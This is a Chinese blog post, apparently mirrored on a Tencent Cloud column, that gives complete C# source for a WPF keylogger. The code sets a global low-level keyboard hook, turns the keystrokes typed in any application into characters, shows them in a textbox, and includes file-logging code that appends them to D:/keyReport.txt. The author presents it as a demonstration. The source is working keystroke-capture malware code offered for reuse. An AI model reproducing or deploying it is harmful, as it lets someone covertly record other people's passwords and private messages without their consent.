前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
圈层
工具
发布
首页
学习
活动
专区
圈层
工具
社区首页 >专栏 >wpf键盘记录器

wpf键盘记录器

作者头像
lpxxn
发布于 2018-01-31 03:31:28
发布于 2018-01-31 03:31:28
1.2K00
代码可运行
举报
文章被收录于专栏:技术之路技术之路
运行总次数:0
代码可运行

很简单的一个wpf键盘记录器

这个程序我一样用了全局勾子,之前用的都是winform上运行了,前一段时间

在国外的论坛上逛看到了一个wpf能用的就做了一个小程序记录一下,为了方便大家直关的看我在页面上放了一个textbox,

用的时候不会这样一般都是保存到一个文本里呵呵不能做坏事

有三个主要的类

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
  /// <summary> 
    /// Raw keyevent handler. 
    /// </summary> 
    /// <param name="sender">sender</param> 
    /// <param name="args">raw keyevent arguments</param> 
    public delegate void RawKeyEventHandler(object sender, RawKeyEventArgs args);

    #region WINAPI Helper class

    /// <summary> 
    /// Winapi Key interception helper class. 
    /// </summary> 
    internal static class InterceptKeys
    {
        public delegate IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam);
        public static int WH_KEYBOARD_LL = 13;

        /// <summary> 
        /// Key event 
        /// </summary> 
        public enum KeyEvent : int
        {
            /// <summary> 
            /// Key down 
            /// </summary> 
            WM_KEYDOWN = 256,

            /// <summary> 
            /// Key up 
            /// </summary> 
            WM_KEYUP = 257,

            /// <summary> 
            /// System key up 
            /// </summary> 
            WM_SYSKEYUP = 261,

            /// <summary> 
            /// System key down 
            /// </summary> 
            WM_SYSKEYDOWN = 260
        }

        public static IntPtr SetHook(LowLevelKeyboardProc proc)
        {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule)
            {
                return SetWindowsHookEx(WH_KEYBOARD_LL, proc, GetModuleHandle(curModule.ModuleName), 0);
            }
        }

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr SetWindowsHookEx(int idHook, LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        [return: MarshalAs(UnmanagedType.Bool)]
        public static extern bool UnhookWindowsHookEx(IntPtr hhk);

        [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, UIntPtr wParam, IntPtr lParam);

        [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        public static extern IntPtr GetModuleHandle(string lpModuleName);

        #region Convert VKCode to string

        // Note: Sometimes single VKCode represents multiple chars, thus string. 
        // E.g. typing "^1" (notice that when pressing 1 the both characters appear, 
        // because of this behavior, "^" is called dead key) 

        [DllImport("user32.dll")]
        private static extern int ToUnicodeEx(uint wVirtKey, uint wScanCode, byte[] lpKeyState, [Out, MarshalAs(UnmanagedType.LPWStr)] System.Text.StringBuilder pwszBuff, int cchBuff, uint wFlags, IntPtr dwhkl);

        [DllImport("user32.dll")]
        private static extern bool GetKeyboardState(byte[] lpKeyState);

        [DllImport("user32.dll")]
        private static extern uint MapVirtualKeyEx(uint uCode, uint uMapType, IntPtr dwhkl);

        [DllImport("user32.dll", CharSet = CharSet.Auto, ExactSpelling = true)]
        private static extern IntPtr GetKeyboardLayout(uint dwLayout);

        [DllImport("User32.dll")]
        private static extern IntPtr GetForegroundWindow();

        [DllImport("User32.dll")]
        private static extern uint GetWindowThreadProcessId(IntPtr hWnd, out uint lpdwProcessId);

        [DllImport("user32.dll")]
        private static extern bool AttachThreadInput(uint idAttach, uint idAttachTo, bool fAttach);

        [DllImport("kernel32.dll")]
        private static extern uint GetCurrentThreadId();

        private static uint lastVKCode = 0;
        private static uint lastScanCode = 0;
        private static byte[] lastKeyState = new byte[255];
        private static bool lastIsDead = false;

        /// <summary> 
        /// Convert VKCode to Unicode. 
        /// <remarks>isKeyDown is required for because of keyboard state inconsistencies!</remarks> 
        /// </summary> 
        /// <param name="VKCode">VKCode</param> 
        /// <param name="isKeyDown">Is the key down event?</param> 
        /// <returns>String representing single unicode character.</returns> 
        public static string VKCodeToString(uint VKCode, bool isKeyDown)
        {
            // ToUnicodeEx needs StringBuilder, it populates that during execution. 
            System.Text.StringBuilder sbString = new System.Text.StringBuilder(5);

            byte[] bKeyState = new byte[255];
            bool bKeyStateStatus;
            bool isDead = false;

            // Gets the current windows window handle, threadID, processID 
            IntPtr currentHWnd = GetForegroundWindow();
            uint currentProcessID;
            uint currentWindowThreadID = GetWindowThreadProcessId(currentHWnd, out currentProcessID);

            // This programs Thread ID 
            uint thisProgramThreadId = GetCurrentThreadId();

            // Attach to active thread so we can get that keyboard state 
            if (AttachThreadInput(thisProgramThreadId, currentWindowThreadID, true))
            {
                // Current state of the modifiers in keyboard 
                bKeyStateStatus = GetKeyboardState(bKeyState);

                // Detach 
                AttachThreadInput(thisProgramThreadId, currentWindowThreadID, false);
            }
            else
            {
                // Could not attach, perhaps it is this process? 
                bKeyStateStatus = GetKeyboardState(bKeyState);
            }

            // On failure we return empty string. 
            if (!bKeyStateStatus)
                return "";

            // Gets the layout of keyboard 
            IntPtr HKL = GetKeyboardLayout(currentWindowThreadID);

            // Maps the virtual keycode 
            uint lScanCode = MapVirtualKeyEx(VKCode, 0, HKL);

            // Keyboard state goes inconsistent if this is not in place. In other words, we need to call above commands in UP events also. 
            if (!isKeyDown)
                return "";

            // Converts the VKCode to unicode 
            int relevantKeyCountInBuffer = ToUnicodeEx(VKCode, lScanCode, bKeyState, sbString, sbString.Capacity, (uint)0, HKL);

            string ret = "";

            switch (relevantKeyCountInBuffer)
            {
                // Dead keys (^,`...) 
                case -1:
                    isDead = true;

                    // We must clear the buffer because ToUnicodeEx messed it up, see below. 
                    ClearKeyboardBuffer(VKCode, lScanCode, HKL);
                    break;

                case 0:
                    break;

                // Single character in buffer 
                case 1:
                    ret = sbString[0].ToString();
                    break;

                // Two or more (only two of them is relevant) 
                case 2:
                default:
                    ret = sbString.ToString().Substring(0, 2);
                    break;
            }

            // We inject the last dead key back, since ToUnicodeEx removed it. 
            // More about this peculiar behavior see e.g: 
            //   http://www.experts-exchange.com/Programming/System/Windows__Programming/Q_23453780.html 
            //   http://blogs.msdn.com/michkap/archive/2005/01/19/355870.aspx 
            //   http://blogs.msdn.com/michkap/archive/2007/10/27/5717859.aspx 
            if (lastVKCode != 0 && lastIsDead)
            {
                System.Text.StringBuilder sbTemp = new System.Text.StringBuilder(5);
                ToUnicodeEx(lastVKCode, lastScanCode, lastKeyState, sbTemp, sbTemp.Capacity, (uint)0, HKL);
                lastVKCode = 0;

                return ret;
            }

            // Save these 
            lastScanCode = lScanCode;
            lastVKCode = VKCode;
            lastIsDead = isDead;
            lastKeyState = (byte[])bKeyState.Clone();

            return ret;
        }

        private static void ClearKeyboardBuffer(uint vk, uint sc, IntPtr hkl)
        {
            System.Text.StringBuilder sb = new System.Text.StringBuilder(10);

            int rc;
            do
            {
                byte[] lpKeyStateNull = new Byte[255];
                rc = ToUnicodeEx(vk, sc, lpKeyStateNull, sb, sb.Capacity, 0, hkl);
            } while (rc < 0);
        }

        #endregion Convert VKCode to string
    }

    #endregion WINAPI Helper class
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
public class KeyboardListener : IDisposable
    {
        /// <summary> 
        /// Creates global keyboard listener. 
        /// </summary> 
        public KeyboardListener()
        {
            // Dispatcher thread handling the KeyDown/KeyUp events. 
            this.dispatcher = Dispatcher.CurrentDispatcher;

            // We have to store the LowLevelKeyboardProc, so that it is not garbage collected runtime 
            hookedLowLevelKeyboardProc = (InterceptKeys.LowLevelKeyboardProc)LowLevelKeyboardProc;

            // Set the hook 
            hookId = InterceptKeys.SetHook(hookedLowLevelKeyboardProc);

            // Assign the asynchronous callback event 
            hookedKeyboardCallbackAsync = new KeyboardCallbackAsync(KeyboardListener_KeyboardCallbackAsync);
        }

        private Dispatcher dispatcher;

        /// <summary> 
        /// Destroys global keyboard listener. 
        /// </summary> 
        ~KeyboardListener()
        {
            Dispose();
        }

        /// <summary> 
        /// Fired when any of the keys is pressed down. 
        /// </summary> 
        public event RawKeyEventHandler KeyDown;

        /// <summary> 
        /// Fired when any of the keys is released. 
        /// </summary> 
        public event RawKeyEventHandler KeyUp;

        #region Inner workings

        /// <summary> 
        /// Hook ID 
        /// </summary> 
        private IntPtr hookId = IntPtr.Zero;

        /// <summary> 
        /// Asynchronous callback hook. 
        /// </summary> 
        /// <param name="character">Character</param> 
        /// <param name="keyEvent">Keyboard event</param> 
        /// <param name="vkCode">VKCode</param> 
        private delegate void KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character);

        /// <summary> 
        /// Actual callback hook. 
        /// 
        /// <remarks>Calls asynchronously the asyncCallback.</remarks> 
        /// </summary> 
        /// <param name="nCode"></param> 
        /// <param name="wParam"></param> 
        /// <param name="lParam"></param> 
        /// <returns></returns> 
        [MethodImpl(MethodImplOptions.NoInlining)]
        private IntPtr LowLevelKeyboardProc(int nCode, UIntPtr wParam, IntPtr lParam)
        {
            string chars = "";

            if (nCode >= 0)
                if (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYUP ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN ||
                    wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYUP)
                {
                    // Captures the character(s) pressed only on WM_KEYDOWN 
                    chars = InterceptKeys.VKCodeToString((uint)Marshal.ReadInt32(lParam),
                        (wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_KEYDOWN ||
                        wParam.ToUInt32() == (int)InterceptKeys.KeyEvent.WM_SYSKEYDOWN));

                    hookedKeyboardCallbackAsync.BeginInvoke((InterceptKeys.KeyEvent)wParam.ToUInt32(), Marshal.ReadInt32(lParam), chars, null, null);
                }

            return InterceptKeys.CallNextHookEx(hookId, nCode, wParam, lParam);
        }

        /// <summary> 
        /// Event to be invoked asynchronously (BeginInvoke) each time key is pressed. 
        /// </summary> 
        private KeyboardCallbackAsync hookedKeyboardCallbackAsync;

        /// <summary> 
        /// Contains the hooked callback in runtime. 
        /// </summary> 
        private InterceptKeys.LowLevelKeyboardProc hookedLowLevelKeyboardProc;

        /// <summary> 
        /// HookCallbackAsync procedure that calls accordingly the KeyDown or KeyUp events. 
        /// </summary> 
        /// <param name="keyEvent">Keyboard event</param> 
        /// <param name="vkCode">VKCode</param> 
        /// <param name="character">Character as string.</param> 
        private void KeyboardListener_KeyboardCallbackAsync(InterceptKeys.KeyEvent keyEvent, int vkCode, string character)
        {
            switch (keyEvent)
            {
                // KeyDown events 
                case InterceptKeys.KeyEvent.WM_KEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYDOWN:
                    if (KeyDown != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyDown), this, new RawKeyEventArgs(vkCode, true, character));
                    break;

                // KeyUp events 
                case InterceptKeys.KeyEvent.WM_KEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, false, character));
                    break;
                case InterceptKeys.KeyEvent.WM_SYSKEYUP:
                    if (KeyUp != null)
                        dispatcher.BeginInvoke(new RawKeyEventHandler(KeyUp), this, new RawKeyEventArgs(vkCode, true, character));
                    break;

                default:
                    break;
            }
        }

        #endregion Inner workings

        #region IDisposable Members

        /// <summary> 
        /// Disposes the hook. 
        /// <remarks>This call is required as it calls the UnhookWindowsHookEx.</remarks> 
        /// </summary> 
        public void Dispose()
        {
            InterceptKeys.UnhookWindowsHookEx(hookId);
        }

        #endregion IDisposable Members
    }
代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
 /// <summary> 
    /// Raw KeyEvent arguments. 
    /// </summary> 
    public class RawKeyEventArgs : EventArgs
    {
        /// <summary> 
        /// VKCode of the key. 
        /// </summary> 
        public int VKCode;

        /// <summary> 
        /// WPF Key of the key. 
        /// </summary> 
        public Key Key;

        /// <summary> 
        /// Is the hitted key system key. 
        /// </summary> 
        public bool IsSysKey;

        /// <summary> 
        /// Convert to string. 
        /// </summary> 
        /// <returns>Returns string representation of this key, if not possible empty string is returned.</returns> 
        public override string ToString()
        {
            return Character;
        }

        /// <summary> 
        /// Unicode character of key pressed. 
        /// </summary> 
        public string Character;

        /// <summary> 
        /// Create raw keyevent arguments. 
        /// </summary> 
        /// <param name="VKCode"></param> 
        /// <param name="isSysKey"></param> 
        /// <param name="Character">Character</param> 
        public RawKeyEventArgs(int VKCode, bool isSysKey, string Character)
        {
            this.VKCode = VKCode;
            this.IsSysKey = isSysKey;
            this.Character = Character;
            this.Key = System.Windows.Input.KeyInterop.KeyFromVirtualKey(VKCode);
        }
    }

codebehind

代码语言:javascript
代码运行次数:0
运行
AI代码解释
复制
   KeyboardListener _KeyListener = new KeyboardListener();
        bool _isRuning = false;
        public MainWindow()
        {
            InitializeComponent();
            this.Loaded += Window_Loaded;
        }

        public void BeginListen(object sender, RoutedEventArgs e)
        {
            _isRuning = true;
        }
        public void StopListen(object sender, RoutedEventArgs e)
        {
            _isRuning = false;
        }

        private void Window_Loaded(object sender, RoutedEventArgs e)
        {
            _KeyListener.KeyDown += new RawKeyEventHandler(KListener_KeyDown);
        }
        StringBuilder _sb = new StringBuilder();
        private void KListener_KeyDown(object sender, RawKeyEventArgs args)
        {
            if (!_isRuning) return;
            tb_keyText.Text += args.ToString();
            //if (args.Key == Key.Enter)
            //{
            //    Write(_sb.ToString());
            //    _sb.Clear();
            //}
            //else
            //{
            //    _sb.Append(args.ToString());
            //}
            //Console.WriteLine(args.ToString());
        }

        private void Write(string keyEvents)
        {
            try
            {
                StreamWriter sw = new StreamWriter("D:/keyReport.txt", true);
                sw.WriteLine(keyEvents);
                sw.Close();

            }
            catch (Exception Exception)
            {
            }
        }
        private void Window_Closing(object sender, System.ComponentModel.CancelEventArgs e)
        {
            _KeyListener.Dispose();
        } 
本文参与 腾讯云自媒体同步曝光计划,分享自作者个人站点/博客。
原始发表:2013-09-18 ,如有侵权请联系 cloudcommunity@tencent.com 删除

本文分享自 作者个人站点/博客 前往查看

如有侵权,请联系 cloudcommunity@tencent.com 删除。

本文参与 腾讯云自媒体同步曝光计划  ,欢迎热爱写作的你一起参与!

评论
登录后参与评论
暂无评论
推荐阅读
编辑精选文章
换一批
用 WPF 写的颜色拾取器
之前都是用别人的颜色拾取器,今天自己用WPF写了一个颜色拾取器小程序 拾取鼠标所在位置的颜色,按键盘上的空格键停止取色 程序下载:MyWPFScreenColorE.rar 程序里面有一个全局的勾子
lpxxn
2018/01/31
1.4K0
用 WPF 写的颜色拾取器
WPF 拼音输入法
实际上本文是在使用一个好用的软件 希沃白板 的时候发现在里面很难输入拼音来做课堂活动。
林德熙
2018/09/19
1.6K0
WPF 拼音输入法
WPF取色器开发
前言 这里全局的键盘钩子和全局鼠标钩子是为了定义快捷键。 获取鼠标坐标 using System.Runtime.InteropServices; namespace ColorPicker.Utils { internal class ZPoint { [DllImport("user32.dll", CharSet = CharSet.Auto)] public static extern bool GetCursorPos(out POINT pt);
码客说
2022/03/13
1.8K0
键盘钩子之完美得到单键或多组合键的信息
【先看代码】 class KeyboardHook { #region 私有变量 private IntPtr m_pKeyboardHook = IntPtr.Zero;/// 键盘钩子句柄 private delegate int HookProc(int nCode, Int32 wParam, IntPtr lParam);/// 钩子委托声明 private HookProc m_KeyboardHookProcedu
Shunnet
2021/06/11
1.7K0
键盘钩子之完美得到单键或多组合键的信息
c#键盘钩子全解
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/130999.html原文链接:https://javaforall.cn
全栈程序员站长
2022/08/11
8290
c#键盘钩子全解
c# 键盘钩子
发布者:全栈程序员栈长,转载请注明出处:https://javaforall.cn/132342.html原文链接:https://javaforall.cn
全栈程序员站长
2022/06/29
4230
winform键盘全局与线程Hook
注:idHook 钩子类型,即确定钩子监听何种消息 线程钩子监听键盘消息应设为2,全局钩子监听键盘消息应设为13 线程钩子监听鼠标消息应设为7,全局钩子监听鼠标消息应设为14
code2roc
2023/07/19
2900
系统钩子
设置钩子代码 //定义一个钩子实例 var hookProc = new HookProc(HookProcCallback); //设置钩子 hKeyboardHook = SetWindowsHookEx(WH_KEYBOARD_LL, proc, null, 0); if(hkeyboardHook!=IntPtr.Zero){ //设置成功 }
用户1175783
2019/09/18
9540
.NET下如何拦截鼠标、键盘消息?使用Win32NET!
在现代 Windows 开发中,拦截鼠标和键盘消息是一项常见需求。无论是为了实现热键管理、全局鼠标事件监听,还是增强应用的交互性,拦截输入事件都具有重要意义。本文将详细介绍如何在 .NET 环境下使用 Win32 API 来拦截鼠标和键盘消息,特别是使用 Win32NET 来简化调用。
Michel_Rolle
2024/12/04
1.6K0
C# winform键盘钩子
http://blog.163.com/da7_1@126/blog/static/1040726782011112652629750/
全栈程序员站长
2022/08/31
4620
WPF监听快捷键的几种方式
那么,假如我要在一个WPF程序监听CTRL+5按键,首先在主窗口程序添加以下代码:
ryzenWzd
2023/03/23
1.1K0
键盘 计算机代码,键盘钩子示例[通俗易懂]
KeyBoardHookProcedure = new HookProc(KeyBoardHookProc);
全栈程序员站长
2022/09/02
7550
WPF写的取色器
昨天有个小伙子,在找取色器工具。我说,这个应该开发起来很简单,于是,摸了大约半个钟的鱼,开发了一个。现在我把源码和操作案例发出来,供有需要的大佬们玩。(功能过于单一和简单,但是能用)
Wesky
2024/08/13
780
WPF写的取色器
c#中使用钩子
相信以前用过VB、Delphi,特别是VC的程序员应该对钩子程序都不陌生。在C#中我们同样可以使用钩子程序来实现特殊效果,比如当用户按下某个特殊键时提示,比如关闭应用程序前提示等。 当然使用方法相对VC来说要稍微复杂一点,有的地方还不太方便,下面的例子中实现两个基本功能: 1、按下Alt+F4时使窗口最小化 2、关闭应用程序前提示 不过目前只能捕获消息,不能屏蔽消息,我正在实验,也希望知道的高手能多多指教 一、加入winuser.h中的定义 因为钩子程序一般情况下都是在vc下使用的,在c#里面并没有对应的方法、结构等的定义,我们首先需要把winuser.h中的相关定义加入自己的类
冰封一夏
2019/09/10
1.1K0
C#实现的三种方式实现模拟键盘按键
SendKeys.SendWait // 同步模拟按键(会阻塞UI直到对方处理完消息后返回)
用户7108768
2021/09/23
2K0
C# 实现 WinForm 全屏置顶
我们在运行一些 Windows 应用程序的时候,需要将其运行在窗体置顶的模式(使其它应用窗体无法遮挡在置顶应用窗体之上),并且进入全屏状态。本文将介绍如何使用 C# 来实现 WinForm 的全屏置顶的基本功能。
初九之潜龙勿用
2024/12/11
1380
常用的user32API说明
整理了一下常用的user32API说明  还有软件Microsoft Spy++供大家下载  Spyv10.00.30319.rar using System; using System.Collections.Generic; using System.Linq; using System.Text; using System.Runtime.InteropServices; using System.Drawing; namespace WindowsFormsApplication1 { p
lpxxn
2018/01/31
4.3K0
dotnet C# 全局 Windows 鼠标钩子
本文来告诉大家一个简单的方法实现全局的 鼠标钩子 实现封装方法十分简单,请看代码 public class MouseHookEventArgs : EventArgs { public bool Handle { get; set; } /// <inheritdoc /> public MouseHookEventArgs(MouseMessages mouseMessage) { MouseMes
林德熙
2021/12/23
7730
Winform注册和注销全局快捷键
本文转载:http://www.cnblogs.com/scottckt/archive/2007/12/03/981105.html
跟着阿笨一起玩NET
2018/09/18
1.7K0
使用c#捕获usb扫描枪扫描二维码、条形码结果
  最近公司买了一些扫描枪,要做个展会门票扫描,门票格式为一个网址,生成方式是qr二维码
_一级菜鸟
2023/05/24
1.9K0
相关推荐
用 WPF 写的颜色拾取器
更多 >
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档
查看详情【社区公告】 技术创作特训营有奖征文
本文部分代码块支持一键运行,欢迎体验
本文部分代码块支持一键运行,欢迎体验